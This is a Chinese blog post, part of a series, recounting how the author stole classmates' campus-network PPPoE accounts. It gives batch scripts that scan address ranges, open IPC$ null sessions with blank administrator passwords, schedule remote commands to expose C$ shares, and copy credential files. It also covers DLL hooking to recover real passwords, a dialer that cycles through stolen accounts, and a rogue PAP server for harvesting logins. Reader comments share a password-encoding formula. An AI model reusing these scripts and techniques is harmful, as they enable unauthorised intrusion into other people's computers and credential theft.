您现在的位置: Tracy‘Blog > 博客 > 黑人黑事 > 正文
校园网那些事(三)

Chapter 7——第一次交手之网络嗅探

chapter5中的第二个思路中谈到了共享上网,也谈到了想在linux下不通过wine虚拟windows后拨号上网,最主要的是智能手机越来越多了。大家都希望在寝室能直接用无线路由,在学校wifi覆盖的地方直接使用自己校园网的账号密码上网。

但是,一直困扰着我们的就是这个pppoe拨号客户端了。或许有人试过,用自己开通的账号密码直接在宽带连接里面去拨号,结果是肯定拨不上的。于是乎,这个蝴蝶的作用就成立大家心里的一个谜。

首先,我们能给出这么一些猜测:

1.它只负责对原先的账号密码通过一定算法进行转换,也就是对它们进行加密之后得到的密文在服务器端验证。

2.它是软件开发公司自己开发的一套拨号程序,用的自己的协议,必须用自己的软件才能拨上号。

事实到底是什么呢?只有通过实践去检验了。记得每次成功上号之后在屏幕的左下角会弹出一个气泡来提醒,已建立连接。于是,进网上邻居的属性里看了下,发现里面多了一个以“PPPOE-”开头的拨号适配器连接 ,看名字后面的一串字符可以判断是网卡型号。那么这个东西是怎么建立起来的、什么时候建立起来的呢?

继续用变量控制法,先断开连接,而后再删除以创建的连接。再打开蝴蝶,点击拨号。然后,看到了这个拨号连接在我眼皮底下建立,之后连接上了。我滴乖乖,它是如何连接上的呢?再次断开,把账号密码往里面输入。一拨号,始终错误691。嗯哼,不由自主滴,对上面的两种猜想更偏向于第一项了。(而后的实践证明,的确是第一项。)

既然,既然觉得他只是加密了,那就是说我们只要知道加密后的账号密码也就行了。怎么找呢?既然是拨号,也就是要把自己的真实账号密码发送到服务器端进行验证。也就是说,它不会在发送的途中加密、不会在服务端加密,必须是加密后发出去的。既然是加密后出去的,那我们是不是可以对自己本机发出的数据进行监视,然后找出拨号发送出去的数据包来进行分析呢?

想法是绝对没错的,于是在电脑里翻出好久没过用的sniffer pro,对网卡进行嗅探。在结合了网上各种教程再加上自己的一系列尝试之后,成功获取到了request value (密码)以及name (用户名)。知道pppoe拨号原理的同学应该知道,pppoe拨号的鉴定有两个方法,一个是明码形式的PAP、一个是加密形式的 MD5 CHAPMessage Digest Algorithm Challenge Handshake Authentication Protocol)即信息摘要算法挑战握手认证协议。看名字就很长,实现方法就更变态了。

 

很不巧,该死的校园网用的就是后者,更关键的是,这个request value=hashidentity+密码+challenge)(意思是:得到的request value是由一个identity的认定值连接真实密码、再连接一个每次拨号都不同的挑战值challenge,将前面三者连接号之后再进行md5加密。而且,嗅探得到的challenge居然也是通过md5加密了的),所以,想要通过这个方法把真实的密码还原出来看样子是无望了。

怎么办呢?还有什么办法能够得到这个真实的密码呢?我们早就知道了pppoe客户端的安装目录下有一个叫做pppoe.cfg的配置文件,而且知道这个东西是用来存储我们输入的用户名、密码以及自动连接和记住密码的一些选项配置信息的。它里面存放了我们想要的真实账户和密码么?用winhex打开该文件,对着一串16进制的数字苦思冥想了很久,无果而终……

难道,真的就没有办法了?

Chapter 8——第二次交手之HOOK

办法应该还是有的,只是个人技术有限吧,也或许只是暂时性的思维短路没想到。先去吃个饭吧。回头再研究,一切打不死我的,都会让我更强大的~~

吃着吃着,突然发现了这么一个问题,为什么我们在拨号的时候没有看见宽带连接的界面?而且它能够连接上去?

于是随之就想到了一个词:函数,而且是基于系统的API函数(学过编程的孩子应该都知道这个东西,不知道的百度吧。)我们可以直接调用函数把我们的用户名和密码对函数进行赋值,并由函数来发起这个连接,如果连接上了返回给pppoe客户端一个值,让他显示连接成功,else……

于是,灵光一现。我们可以利用传说中的钩子。当启用这个函数的时候,在给这个函数传递参数前,我们先截获它,并且把它的值printf出来。于是,开动……

由于技术有限,那时的自己也还没到能写出hook程序的技术层面,于是,又是在网上一顿搜索,还好找到了一些东西,拿下了微软在某个时期放出的setdll.exedetoursdll注入程序)几经周折终于还是把它给编译出来了。又在网上找来了某个大神编译好了的HookXKapi.dll,专门获取电信的星空极速的真实密码的动态数据连接库。然后,在命令提示符里忐忑的敲下setdll /d:HookXKapi.dll rasapi32.dll。再次运行蝴蝶,一点拨号,这次弹出的不再是以往的拨号成功或者失败了,首先显示:

这是因为,HookXKapi.dll的作用是在调用rasdial时候,首先中断下来,然后把要传输进去的参数显示出来,之后在点击上面对话框中的关闭后,再把参数传给rasdial进行拨号。

于是我们就获得了真实的账号密码了,就可以直接用得到的真实密码以及自己的账户进行宽带连接了。对于很多安卓手机用户来说,要的就是这个了。其实,校园网迟迟不发安卓版的pppoe客户端,问题也就在这里了,通过安卓程序的源代码,可以很快的知道我们真实密码。这样,路由器就会在学校多起来了,直接侵犯到他们的利益了。

这个过程中,学到的东西也还算多吧,第一次自己手动hook(虽然不是自己写的程序),但也算是一次经历吧,也了解到了pppoe拨号的整个过程,也重温了sniffer pro的使用。在之后的文章中会很详细的把上面所有的方法的原理一步一步的解释清楚的。

Chapter 9——第一次利用之自动拨号

chapter8中,我很幸运的找到了方法把校园网账号的真实密码找到了,也看得出程序是只对密码进行加密(这也验证了马克思原理中的实践与认识的关系,即:实践→认识→再实践→在认识),同时,我们用hook得到的真实密码直接在宽带连接里面拨号,发现是可以成功的。那么,它的加密算法是什么呢?如何解密呢?于是乎,我们把密码设置为1拨号一次,12拨号一次,……如此之后得到0-9是个数字的密文。如下:

 

以下是引用片段:
0→48
1→c8
2→49
3→c9
4→58
5→d8
6→59
7→d9
8→68
9→e8

 

对着上面这串东西,我左看右看就是看不出算法,唯一可以推出个位是8899的循环,然后十位是4c4c5d5d6e6e7f7f8g8g9h9h。那9后面应该是什么呢?不得而知也。当然,这也不是我们这一章要说的东西。只是在这里做个引子,后面会讲到如何找出它的加密算法。

 

而前面被我们否决的chapter5中的第二个思路,现在也可以利用了,当然,这个也不是我们这章要说的东西。

 

还记得在【进阶篇】chapter4中提到的一个纠结的事情么?是的,里面有想过写一个循环拨号软件,而且,在其中还曾抱怨过没有真实的密码。但是现在不同了,我们找到了这一个密码,那么,后面的事情就是写出这么一个软件了。

 

于是,再次很无奈的把盗取获得的一个个pppoe.cfg改好名字,然后放到目录下面,一个个点击拨号,然后把真实的账号密码保存到一个txt文件中。之后就开始写软件了,那么,第一个问题是,这个软件的主要目的是什么呢?它应该要实现这么一个功能:把所有盗取的账号一次拨号,如果拨号不成功则换下一个账号,else退出程序。

 

So,有了需求了,下一个问题是,用什么语言来写呢?想一想自己会的东西也不多,就那么几个脚本语言,一个c一个vb,其余的也就停留在看得懂改的出的程度上。正在纠结的时候突然想起在windows下不是存在这一个叫做rasapi32.dll的库用来控制网络连接的么?百度一下看看,发现百度百科里面什么都没找到。唔,在我熟悉的两个语言里面调用拨号好像都跟rasdial有关,于是先看看cmd下能否运行呢。在命令提示符中敲入:rasdial /?弹出下面的提示。

 

 

那就是说存在这么一条命令咯。用法就是:rasdial 宽带连接的名字 用户名 密码,也不知道对不对,于是拿了一个账号密码测试,发现成功了。也就是说,可以用命令来实现咯。可以拨号了,剩下的就是依次循环了。

在前面的文章中就有讲解过用for命令来遍历本地磁盘目录获取pppoe.cfg的做法,同时也了解了for命令的用法,于是,在这里就变得得心应手起来。花了近三个小时,各种调试后,写下了如下的可用代码:

 

以下是connect.bat文件中的内容:
::N代表读取文件中的账户的行数
::P代表读取文件中的密码的行数
::B代表手中有的账号数
 
@echo off
setlocal enabledelayedexpansion    :: 变量延迟的启动
set N=-1                  ::变量N初始化为1
set B=0
:continue           ::continue子函数
set /a N+=2         ::N每次递增2
set /a P=N+1         
set m=0           ::m、q为for循环中的控制变量
set q=0
for /f "delims=" %%i in (pppoey.txt) do (set /a m+=1 & set /a q+=1  echo !m! & if %n%==!m! set nam=%%i & echo !nam!
echo !q! & if %p%==!q! set pas=%%i & echo !pas!
) ::此处的for中以空格为间断点,依次从pppoey.txt中读取用户名和密码,存放到i和q中,并传递给nam,pas。
rasdial "PPPOE-Realtek RTL8169-8110 Family Gigabit Ethernet NIC" !nam! !pas! 1>nul     ::此处实现拨号。若不成功,则执行set /a B+=1那条语句和后面的语句
 
2>nul && exit      ::若成功则退出程序,此时已经拨上号了.
set /a B+=1
if %B% lss 10 goto continue       ::这里应该是当时总共盗取了是个账号,然后如果数字小于10,则继续拨下一个账号
echo 没有可用的号子了,你得工作了!!!       ::如果都没拨上,则提示
pause
 

貌似是可以实现了哈,但那时不懂什么叫做程序员不能有洁癖。看着这么老长的脚本,看着这么多变量,心想,搞不定哪个变量稍微有问题程序就不能继续使用了。于是,继续想办法精简。这个过程就不写了哈,各种找资料后,又搞了一个多小时,写下了如下代码完美实现所需功能:

 

以下是引用片段:
@echo off
echo 开始拨号咯!!!
for /f "delims=, tokens=1,2" %%i in (pppoe.txt) do echo %%i&rasdial "connect" %%i %%j 1>nul 2>nul && exit
echo "没有可用的账号了,该工作了!!!"
pause
 

也就是说,上面那段代码中所有的功能,在这里精简为一条语句:

 

以下是引用片段:
for /f "delims=, tokens=1,2" %%i in (pppoe.txt) do echo %%i&rasdial "connect" %%i %%j 1>nul 2>nul && exit
 

来给你解释解释吧,for命令按照“,”pppoe.txt中截取两个变量分别赋值给ij,然后在用rasdial进行拨号,不成功则继续下一行,成功则退出,此时电脑已连接上。当然前面那句echo %%i是为了让我们了解到现在在用拨那个号,不至于无声操作。

当然,在pppoe.txt中我们的用户名和密码必须是按照如下格式保存的:

 

以下是引用片段:
用户名1,密码1
用户名2,密码2
……

 

就这样,我成功的解放了双手,不用再每次都那么傻乎乎的去改名字了。当然,在重新盗取了账号的情况下,还是得一个个文件进行改名,然后在复制粘贴。虽然繁琐但却比先前减少了不少的工作量。但这个过程还是重复的,也就是说我们还可以通过其他办法把这一步也给它简化掉。当然,后文会给出方法的,这里也是一个引子。

那么,这个过程中,我学会了什么呢?嗯,对for的使用更加熟练了,要知道windows的各种命令中,for的命令算是很复杂的一个了。还有呢?嗯,解放了双手。但是,每次盗号都得自己去慢慢实现,似乎有点累哈……

Chapter 10——自动盗号1.0

前面写到哪了?嗯,翻翻,哦,找到了,到开始埋怨每次盗号都得去手动了。哎,人懒就是没办法,不过,世界上很多很好的发明不都是懒出来的么?不可否认,懒也能带来创造力。那么,怎么实现自动盗号呢?先来回顾一下前面的盗号原理。

流程如下: 
1.     得到可建立ipc$空连接的ip
2.     建立连接
3.     查看是否有默认共享 
       a.     有→直接打开共享
       b.     没有→则手动建立共享
4.     得到文件pppoe.cfg

    是的,没错,我们要得到的就是这个pppoe.cfg。这个就是我们盗号的终极目标。首先得是目标ip了,还得是可建立ipc$空连接的ip。先前是手动,通过一些扫描器来扫描得到ip然后……,那么现在要转换为自动了,我们该怎么实现呢?第一步,我们得知道校园网用的ip段是哪些?打开s扫描器花了个把两个小时对10.0.0.0-10.255.255.255一顿狂扫,只找在线的主机。大致确定了如10.0.48.0-10.0.51.255等11个ip段。之后呢?我们要做的就是在这么些个被分配的ip段里面找出可用ip了(至于为什么先确定可分配的ip段这个就不要解释了吧)。

    在前面的关于ipc的介绍中,我们可以知道ipc连接建立有个条件就是打开一些端口。所以我们为了提高可用ip的准确度,直接用s扫描器对常用网段扫139端口,一是为了确定存活主机,二十为了提高ipc空连接建立的成功率。那么我们还是用命令来写吧。所以这第一条语句就是:

以下命令:
s.exe tcp 10.0.48.0 10.0.49.255 139 800 /save

    也就是用s.exe对 10.0.48.0-10.0.49.255这个段的TCP的139端口进行扫描,线程是800,同时保存扫描结果,扫描结果即开放了139端口的ip。

    那么如此我们就得到了现在处于活跃状态的而且开放了139的ip。下一步就是看能不能建立ipc$空连接了,能建立的话就直接复制。因为我暂时还没找到能代替手动打开共享的命令,所以我们只能放弃那些未打开的,而且放弃那些账户不是administrator和密码不为空的机器。因为我们只能想办法去尽量的提高效率但不能完美的实现。

    于是,我们用下面的语句来实现那些要求:

以下是命令片段:
for /f "delims= tokens=1" %%i in (result.txt) do net use \\%%i\ipc$ "" /u:administrator 1>nul 2>nul && copy /y "\\%%i\c$\program files\PPPoe Supplicant\pppoe.cfg" %%i.cfg ||echo %%i
net use * /del /yes

    意思是:在s.exe扫描生成的result.txt中获取每一行的第一个以空格为分界点的字符串(即ip),执行以默认账户密码建立空连接的命令,如果不成功则下一行并显示当前此次试图建立连接的ip地址,如果成功则默认复制c$\program files\PPPoe Supplicant\pppoe.cfg到当前文件夹并命名为“ip”.cfg。

    这样就实现了自动入侵并得到文件。于是,把上面那几条语句全部整合到一起,命名为hack.bat。然后满心欢喜的双击开始扫描运行了。发现,一般扫完11个网段是几乎不可能的。而且效率及其的底下,有时甚至一两个小时才只能盗取到那么几个账号。远不如手动的效率高。

    那,问题在哪呢?

Chapter 11——自动盗号1.1

    简单的分析了一下,首先,装好系统后ipc默认共享连接是打开的的机器占总数的2/3,这没问题,因为大多系统装好后是没有关闭的,那么问题不在这。其次,平时开防火墙的机器大概占1/10,几乎很少有看见打开防火墙了的,问题也不在这。再次,账号密码没有改动的占8/10,显然这个也不是问题。最后,开了c$共享的机器,那就是真的少之又少了,因为有电脑的大多数都会用360卫士体检一番,然后360也会很配合的告诉你,你的C$、D$、E$、F$打开了,有风险,然后问你要不要关闭,傻子都会点关闭。所以呢,造成前面那个版本自动盗号器效率低下的主要原因就在这里了。

    所以,想提高盗号效率,要解决的首要问题就是,怎么在确定可以建立ipc$空连接后,打开该主机的c盘共享。手动操作早就实现了。既然现在是要实现自动盗号,那肯定不能是继续手动开共享了。那又该怎么实现呢?

    首先想到的还是命令,因为,整个盗号器都是bat程序。想来想去,想到了高中时为了获得龙域网安邀请码时写下的一篇局域网入侵的文章(貌似之后还真的得到了邀请码)里的东西,恩,是的那就是at命令。

    At命令,我平时都是用来实现定时关机的(ps:win8下貌似用另外一个高级的程序取缔了at.exe,让我很是郁闷),当然,它也有远程控制的作用,让我们来看看吧。命令提示符下敲at,, , , /? 、回车。

    所以,我们要用的语句就是:

    At \\ip 时间 “要执行的命令”

    另外,关于建立ipc空连接还有些事情要说明的。首先,必须要有139、445这两个端口是打开的,而且在会话过程中如果 445 端口有响应,那么就发送 RST 包给 139 端口断开连接,用 455 端口进行会话,当 445 端口无响应时,才使用 139 端口,如果两个端口都没有响应,则会话失败;也就是说445端口相对来说的成功率更高。

    所以,为了提高效率我们上一个版本的bat中扫的139要换为445了。

    那么我们的这个版本的代码是:

以下是代码片段:
@echo
s.exe tcp 10.0.48.0 10.0.49.255 445 500 /save
for /f "skip=2 tokens=1 delims= " %%i in (result.txt) do net use \\%%i\ipc$ "" /u:administrator 1>nul 2>nul && echo %%i>>rou.txt
net time \\127.0.0.1 /set /y >nul
for /f "tokens=1,2 delims=:"  %%i in ("%time%") do set /a hour=%%i && set /a minute=%%j 
set /a Rminute=%minute%+10 
for /f "delims= tokens=1" %%i in (rou.txt) do at \\%%i %hour%:%Rminute% net share C$=C:
echo    当你桌面右下角时间超过了%hour%:%Rminute%时。再按任意键。
Pause
for /f "delims= tokens=1" %%i in (rou.txt) do copy /y "\\%%i\c$\program files\PPPoe Supplicant\pppoe.cfg" %%i.cfg
del rou.txt
net use * /del /yes
pause

    是不是发现多了很多东西啊,没事,咱慢慢解释。

    第一句关闭回显以后就不解释了哈。

    第二句是用s扫描器来对一个网段进行扫描(当然,你可以复制粘贴多几行来实现多个网段扫描)。

    第三句是在result.txt中从第二行开始(由s扫描器生成的result.txt中的格式决定的,它的第一行是标题不是ip。)一次取出ip地址,执行net use \\ip\ipc$ 的命令来检测是否可用默认用户名和密码建立空连接,如果可以建立则把该ip地址追加到rou.txt中。

    第四句是设置本机当前时间,因为at命令它涉及到时间了,而且是远程主机的当地时间、

    第五句是从时间命令time执行的结果中获取“时”、“分”,分别赋值给变量hour和变量minute。

    第六句是把minute的值加上10赋给Rminute。因为,at是定时功能,到达某一时刻执行,它不可能用以前的时间和当前的时间,所以要用将来时,于是给它加上10分钟的缓冲器,但是后来的实践发现,这里忽略了一个bug,就是到分钟为50以上时,再加十分钟就让机器不知该如何处理了,不过,鉴于影响不大,我也就一直没去修正它了。

    第七句就是依次对rou.txt中存放的ip地址执行at命令,让他在本机时间加上10分钟的时候以C$为名字奉献出它宝贵的C盘。这一步是为了获得c盘里面的东西,可能你会说有些人软件是装在其他盘的,当然不排除,但是呢,咱还是不要有洁癖吧,只考虑c。

    第八句作为交互进行显示而已。

    第九句,暂停,提示按任意键继续,当时间超过显示的时间时,按下。

    第十局则是核心语句,对那些可能执行了共享c盘的主机进行搜刮,把pppoe.cfg拿出来。

    第十一句删除此次盗号生成的rou.txt。

    第十二句删除所有建立了的连接,不过这里貌似还有个问题,我们在扫描的时候了建立的连接,然后等扫描全部进行完了,才用at命令,要知道at命令要在远程执行得有ipc的权限,然而,这个空连接建立好了又不是不会自动断开,时间久了没动静会断开,建立多了也会断开,另外不担保这段时间里主机已经关机了。

    所以,虽然用12句话给它搞定了,但是要考虑的事情还很多,不可能面面俱到。不过,实践证明,这个方案比前面的1.0的确效率提高了不少。

    但是呢,还有个问题,就是at命令对远程主机的时候会出现绑定句柄无效的错误提示,这个在我高中那会儿是很少出现的。很是不解,网上请教高手也没有同意答复,于是,各种找答案后,发现,微软为了防止利用at进行此类攻击在某个时刻发布了一个补丁,打上了这个补丁的主机均不能用at对远程计算机操作。

    于是,果断的换系统,网上找了个最久远的镜像,装上,扫描。还是很有收获的哈。不过,这个从一个个主动去盗号的方法也还是不能满足我的欲望啊,怎么办呢?

Chapter 12——还是盗号

   先前的几个与盗号相关的都是针对客户端的一些漏洞去获取的,而且,是一个个的去得到的,怎么都感觉不如一批批的获得来得爽啊,那,怎么去批量获得呢?入侵服务器?别想了,校园网论坛你都暂时没搞定,况且,那啥服务器是话说我们学校最牛的那个传说中中国黑客五十强那人给配置好的,曾经找教务管理系统的漏洞,找来找去所有可利用的都打好补丁了,真不愧是高手。貌似有点扯远了哈,嗯,回到主题。主题是什么来着?哦,批量盗号,也就是想办法去获得更多的账号密码。

    还是先分析下吧,信息泄露的三个地方:个人客户端、传输介质、服务端。个人客户端已经考虑过,服务端呢又没法下手。于是,转过来看看传输介质这一块,或许,你会说,嗅探不是在前面用到过了么?不是不能得到真实的密码了么。的确如此啊,不过,我总觉得这里应该还是可以发起一个什么攻击来着,恩,伪造。

   先跟着我来了解一下pppoe拨号连接这整个流程吧。

   下面是我用ethereal拨号时抓包得到的数据拿来分析分析:

(第一栏是数据包序列号、第二栏是截获的时间、第三栏是源地址、第四栏是目的地址、第五栏是协议以及信息,由于截图没截好,所以,描述下)

      首先,PPPoE协议的工作流程包含发现和会话两个阶段,发现阶段是无状态的,目的是获得PPPoE服务器的以太网MAC地址,并建立一个唯一的PPPoESESSION-ID(PPPOE会话ID),在发现阶段,基于网络的拓扑,主机可以发现多个接入集中器,然后允许用户选择一个。发现阶段结束后,就进入标准的PPP会话阶段。

发现阶段有4个步骤: 
1.       PADI图示步骤1,主机发送广播包PADI寻找接入服务器。主机→服务器。目的地址为广播。
2.       PADO图示步骤2和4,服务器收到包后如果可以提供主机要求则回复一个PADO包。为什么有两个呢?有时,网络上有不止一个服务器。服务器→主机。
3.       PADR图示步骤3,主机在回应PADO的接入服务器中选择一个合适的,并发送PADR告知接入服务器,PADR中必须声明向接入服务器请求的服务种类。主机→服务器。
4.       PADS图示步骤5接入服务器收到PADR包后开始为用户分配一个唯一的会话标识符Session ID,启动PPP状态机以准备开始PPP会话,并发送一个会话确认包PADS。服务器→主机。

    主机收到PADS后,双方进入PPP会话阶段。在会话阶段,PPPoE的以太网类域设置为0x8864,CODE为0x00,Session ID必须是发现(Discovery)阶段所分配的值。

    PPP会话阶段主要是LCP、认证、NCP 3个协议的协商过程,LCP阶段(图示步骤6-12)主要完成建立、配置和检测数据链路连接,认证(图示步骤13-19)协议类型由LCP协商(CHAP或者PAP),NCP(图示步骤20-27)是一个协议族,用于配置不同的网络层协议,常用的是IP控制协议(IPCP),它负责配置用户的IP和DNS等工作。

    其中,CHAP是一种加密的验证方式,能够避免建立连接时传送用户的真实密码。NAS向远程用户发送一个挑战口令(challenge),其中包括会话ID和一个任意生成的挑战字串(arbitrary challengestring)。远程客户必须使用MD5单向哈希算法(one-way hashing algorithm)返回用户名和加密的挑战口令,会话ID以及用户口令,其中用户名以非哈希方式发送。所以,我们通常抓到的VALUE值是没什么用的。而PAP则是明文传输,直接显示账号密码。

    注意我加上红色的那几句话,是的,网络上不止有一个服务器。这是不是一个突破口呢?正如我们所知,学校用的是CHAP认证,但是呢,在LCP协商的过程中,是看服务器的配置是何种加密算法再去选择。所以,问题来了,我们要做的就是,搭建一个PPPOE服务器,把认证方式设置为PAP,然后,对自己的网卡嗅探,不就可以实现批量获取了么。只要有人拨号,前提是选择的是我搭建好了的服务器,那么他就会乖乖的把自己的账号密码发送过来请求验证。然后我们就直接可以得到这些个账号密码了。

    恩,理论上是这个样子的,也没错,于是,百度如何搭建服务器。推荐给大家一篇很好的博文http://wengjingzhiwu.blog.163.com/blog/static/1904092722009934350200/。之后呢,花了点时间搭好了。很开心的打开ethereal,选好网卡,点击截获,为了测试,故意跑到室友那里拨号测试,完了回来一看,嘿,还真可以,这可把我高兴坏了。于是,电脑丢这里截获,自己先去忙些其他的,网上看了下有人要帮忙p一张手绘图片,反正闲着无聊等账号上钩就p了一下。大家看文也看累了,拿出来让大家眼睛休息休息。


    不过p来p去,倒感觉不像了。

    嗯,过了一俩小时了,回来看看抓到了些什么,是兔子呢?还是狐狸……打开一看,额,傻眼了……什么都没有,是配置出问题了么?还是刚好这段时间没人拨号呢?我更怀疑前者,不可能没人拨号,那,是不是我搭建的服务器的优先级不够,他们都跑到真正的服务器上去了呢?恩,也有可能。那么问题是,客户端是通过什么算法来决定选谁的呢?

    距离?性能?带宽?时延?还是什么指标?额,不得而知也。网上给的答复是,选择最近的,这个最近貌似很有学问。怎么才算是最近的。而且,看看以前画的那个拓扑图,觉得,我们本楼栋的电脑访问我搭建的服务器比学校服务器要快吧。到底问题在哪呢?

    想了很久很久,最终,只把这次实践当做一次学习,没有深究下去了。然后在后面考研看专业课的时候想通了。

    很简单的一个原理,就是,路由器不转发广播数据包,而我们的pppoe发现阶段刚开始就是用的广播发现数据包。So,这件事就这样了。那么你可能会问,那为什么同一网段的可以呢?听着,在同一局域网内,所谓的广播,就是客户端发送一个地址为广播地址的数据包,然后呢?在网络中,不管地址指向哪,只要是同一个局域网中,所有的人都会收到数据包,然后网卡看目的地址是不是自己,不是的话,就丢弃,是的话就拿过来。于是,在广播的过程中,广播地址是可以被任何主机接受的,但是呢,他们只是光顾着接受,如果自身没有对应的服务提供,他们也不会返回一些值。

    但是,学校的主机也不是跟我们的电脑在同一个局域网啊,为什么它可以收到我们的广播数据包呢?那就是路由器的设置了。所以,我们要解决的主要问题就是这个路由了,路由的问题在后面还困扰着我,还有一个问题也要解决广播数据包的事。

    可以说,这是一次不怎么成功的尝试吧,不过,也还算好,学到了不少东西~~~

 

(……未完待续……)

声, 明:此文仅做技术参考、思路指引、网络安全概念的推广。并不涉及传播入侵知识、等非法行为。如用作非法之途,所造成后果由个人自行承担。《中华人民共和国刑法》有关计算机犯罪条例计算机软件保护条例

发表评论(4)
1楼 Fairy  发表于  2013-11-13 22:53:28
请问下博主,430602这个密码的明文是多少,请问告知下吗?谢谢您。
2楼 小宠  发表于  2013-5-31 15:14:41
呵呵 我2011进校的时候也是用这个东西获取的 呵呵 太激动了 只是那个hook函数是我自己用微软的工具写的 你说的那个星空极速用的 我也截获过 后来涉外拨号客户端升级 我就没用了 随着时间推移 现在大二了 电脑技术都荒废了 看来的补补课了
3楼 liuzhensong  发表于  2013-4-1 11:01:42
博主执行钩子的程序在温七上不能运行么
[博主回复]  没去尝试过,改天试试才知道
4楼 houjoutan  发表于  2013-2-28 21:41:09
博主求涉外校园网密码截获软件 ,dfc643@126.com谢谢! KEY[i]=((((((((pwd[i]>>2)&0X20)|(pwd[i]&0X40))>>2)|(pwd[i]&0X20))>>1)|(pwd[i]&0X2))>>1)|(((pwd[i]&0X1C)|(pwd[i]<<5))<<2);这个是不是不能直接使用??
[博主回复]  整段程序都复制过去吧,可以用的。
姓名 *
电子邮件
QQ
评论内容 *
验证码 *图片看不清?点击重新得到验证码请输入图片后链接字符‘a’